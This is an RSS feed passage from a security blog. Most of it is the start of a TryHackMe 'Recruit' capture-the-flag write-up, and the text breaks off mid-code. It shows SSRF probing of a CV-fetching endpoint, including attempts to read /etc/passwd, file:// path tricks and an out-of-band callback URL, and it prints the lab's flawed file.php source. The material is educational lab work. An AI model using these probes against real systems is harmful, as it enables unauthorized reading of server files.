/home/ubuntu/user.txt</span></span></code></pre></div></div></figure><p>The footer now displays:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>01:33:39</span></span><span class="line"><span>uid=33(www-data) gid=33(www-data) groups=33(www-data)</span></span><span class="line"><span>THM{REDACTED}</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Recruit - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Recruit-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Recruit</li>
<li><st]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/ssrf/">ssrf</category>
      <category domain="https://blog.raw.pm/tags/sqli/">sqli</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <pubDate>Tue, 09 Jun 2026 22:15:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Recruit</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/recruitwebchallenge">tryhackme.com</a></li><li><strong>Difficulty:</strong> Medium</li><li><strong>Description</strong>: Infiltrate Recruit's new portal. Map the site, hunt for flaws, and gain unauthorised access</li></ul><p><img src="/images/TryHackMe/recruitwebchallenge.png" alt="Recruit"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> curl</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart3204" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart3204').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        2,        2,        0,        4,        4,        0      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Web-reconnaissance-SSRF">Web reconnaissance - SSRF<a class="header-anchor" href="#Web-reconnaissance-SSRF">#</a></h2><p>On the home page (<code>/</code>) we can find a login form, try a few SQL injection payloads, fail and switch to something else.</p><p>There is also a <em>Access API</em> link pointing to <code>/api.php</code> to gives us so documentation about an API. Especially the <code>/file.php?cv=&lt;URL&gt;</code> endpoint that may be able to fetch CVs.</p><ul><li>URL: <code>http://nul3j00rf5gj4hx46d278hoan1tshj58.oastify.com</code> ➡️ <code>Only local files are allowed</code></li><li>file path: <code>/etc/passwd</code> ➡️ <code>Only local files are allowed</code></li><li>file protocol (absolute path): <code>file:///etc/passwd</code> ➡️ <code>Access denied</code></li><li>file protocol (relative path): <code>file://api.php</code> or <code>file://file.php</code> ✅</li></ul><h2 id="Source-code-review">Source code review<a class="header-anchor" href="#Source-code-review">#</a></h2><div class='fold collapsed'>    <div class='fold-title'>        api.php (only static content)    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">include</span><span style="color:#98C379"> 'header.php'</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card shadow"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">h3 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"mb-4"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Recruit API – Frequently Asked Questions</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">h3</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion"</span><span style="color:#ABB2BF"> id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"apiFaq"</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            &#x3C;!</span><span style="color:#ABB2BF">-- FAQ </span><span style="color:#D19A66">1</span><span style="color:#ABB2BF"> --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-item"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">h2 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-header"</span><span style="color:#ABB2BF"> id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"faqOne"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">button </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-button"</span><span style="color:#ABB2BF"> type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"button"</span><span style="color:#ABB2BF"> data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">toggle</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapse"</span></span><span class="line"><span style="color:#ABB2BF">                            data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">target</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#collapseOne"</span><span style="color:#ABB2BF"> aria</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">expanded</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"true"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        What is the Recruit API used </span><span style="color:#C678DD">for?</span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">button</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">h2</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">div id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapseOne"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-collapse collapse show"</span></span><span class="line"><span style="color:#ABB2BF">                     data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#E5C07B">parent</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#apiFaq"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        The Recruit API is used internally to fetch </span><span style="color:#56B6C2">and</span><span style="color:#ABB2BF"> process candidate CVs</span></span><span class="line"><span style="color:#ABB2BF">                        from external sources during the recruitment process</span><span style="color:#ABB2BF">.</span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            &#x3C;!</span><span style="color:#ABB2BF">-- FAQ </span><span style="color:#D19A66">2</span><span style="color:#ABB2BF"> --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-item"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">h2 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-header"</span><span style="color:#ABB2BF"> id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"faqTwo"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">button </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-button collapsed"</span><span style="color:#ABB2BF"> type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"button"</span><span style="color:#ABB2BF"> data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">toggle</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapse"</span></span><span class="line"><span style="color:#ABB2BF">                            data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">target</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#collapseTwo"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        How can I fetch a candidate CV using the API</span><span style="color:#C678DD">?</span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">button</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">h2</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">div id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapseTwo"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-collapse collapse"</span></span><span class="line"><span style="color:#ABB2BF">                     data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#E5C07B">parent</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#apiFaq"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        You can fetch a candidate CV using the following endpoint</span><span style="color:#C678DD">:</span></span><span class="line"><span style="color:#56B6C2">                        &#x3C;</span><span style="color:#ABB2BF">pre </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"mt-2"</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#ABB2BF">code</span><span style="color:#56B6C2">>/</span><span style="color:#ABB2BF">file</span><span style="color:#ABB2BF">.</span><span style="color:#ABB2BF">php</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">cv</span><span style="color:#56B6C2">=</span><span style="color:#C678DD">&#x26;</span><span style="color:#ABB2BF">lt;URL</span><span style="color:#C678DD">&#x26;</span><span style="color:#ABB2BF">gt;</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">code</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">pre</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            &#x3C;!</span><span style="color:#ABB2BF">-- FAQ </span><span style="color:#D19A66">3</span><span style="color:#ABB2BF"> --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-item"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">h2 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-header"</span><span style="color:#ABB2BF"> id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"faqThree"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">button </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-button collapsed"</span><span style="color:#ABB2BF"> type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"button"</span><span style="color:#ABB2BF"> data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">toggle</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapse"</span></span><span class="line"><span style="color:#ABB2BF">                            data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">target</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#collapseThree"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        What kind of URLs are supported</span><span style="color:#C678DD">?</span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">button</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">h2</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">div id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapseThree"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-collapse collapse"</span></span><span class="line"><span style="color:#ABB2BF">                     data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#E5C07B">parent</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#apiFaq"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        The API supports fetching CVs from external URLs such as HTTP </span><span style="color:#56B6C2">and</span><span style="color:#ABB2BF"> HTTPS</span><span style="color:#ABB2BF">.</span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            &#x3C;!</span><span style="color:#ABB2BF">-- FAQ </span><span style="color:#D19A66">4</span><span style="color:#ABB2BF"> --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-item"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">h2 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-header"</span><span style="color:#ABB2BF"> id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"faqFour"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">button </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-button collapsed"</span><span style="color:#ABB2BF"> type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"button"</span><span style="color:#ABB2BF"> data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">toggle</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapse"</span></span><span class="line"><span style="color:#ABB2BF">                            data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">target</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#collapseFour"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        Are there any security restrictions</span><span style="color:#C678DD">?</span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">button</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">h2</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">div id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"collapseFour"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-collapse collapse"</span></span><span class="line"><span style="color:#ABB2BF">                     data</span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF">bs</span><span style="color:#56B6C2">-</span><span style="color:#E5C07B">parent</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"#apiFaq"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"accordion-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                        Requests targeting restricted locations may be blocked by the API</span><span style="color:#ABB2BF">.</span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">include</span><span style="color:#98C379"> 'footer.php'</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure>    </div></div><div class='fold collapsed'>    <div class='fold-title'>        file.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'cv'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"><span style="color:#C678DD">    die</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Missing cv parameter'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$cv</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'cv'</span><span style="color:#ABB2BF">];</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| Allow only local file access</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">strpos</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$cv</span><span style="color:#ABB2BF">,</span><span style="color:#98C379"> 'file://'</span><span style="color:#ABB2BF">) </span><span style="color:#56B6C2">!==</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">    die</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Only local files are allowed'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| Convert file:// to filesystem path</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"><span style="color:#E06C75">$filePath</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> str_replace</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'file://'</span><span style="color:#ABB2BF">,</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $cv</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| Resolve real path to prevent traversal</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"><span style="color:#E06C75">$realPath</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> realpath</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$filePath</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| Restrict access to /var/www/html only</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"><span style="color:#E06C75">$allowedBase</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '/var/www/html'</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$realPath</span><span style="color:#56B6C2"> ===</span><span style="color:#D19A66"> false</span><span style="color:#56B6C2"> ||</span><span style="color:#56B6C2"> strpos</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$realPath</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $allowedBase</span><span style="color:#ABB2BF">) </span><span style="color:#56B6C2">!==</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">    die</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Access denied'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">/*</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">| Display file contents</span></span><span class="line"><span style="color:#7F848E;font-style:italic">|--------------------------------------------------------------------------</span></span><span class="line"><span style="color:#7F848E;font-style:italic">*/</span></span><span class="line"><span style="color:#56B6C2">header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Content-Type: text/plain'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#56B6C2">echo</span><span style="color:#56B6C2"> file_get_contents</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$realPath</span><span style="color:#ABB2BF">);</span></span></code></pre></div></div></figure>    </div></div><div class='fold collapsed'>    <div class='fold-title'>        index.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#98C379"> 'config.php'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#98C379"> '/var/www/db.php'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#98C379"> 'header.php'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"row justify-content-center"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"col-md-4"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card shadow"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">h4 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"text-center mb-3"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Recruit Login</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">h4</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">form method</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"POST"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">input type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"text"</span><span style="color:#ABB2BF"> name</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"username"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"form-control mb-2"</span><span style="color:#ABB2BF"> placeholder</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"Username"</span><span style="color:#ABB2BF"> required</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">input type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"password"</span><span style="color:#ABB2BF"> name</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"password"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"form-control mb-2"</span><span style="color:#ABB2BF"> placeholder</span><span 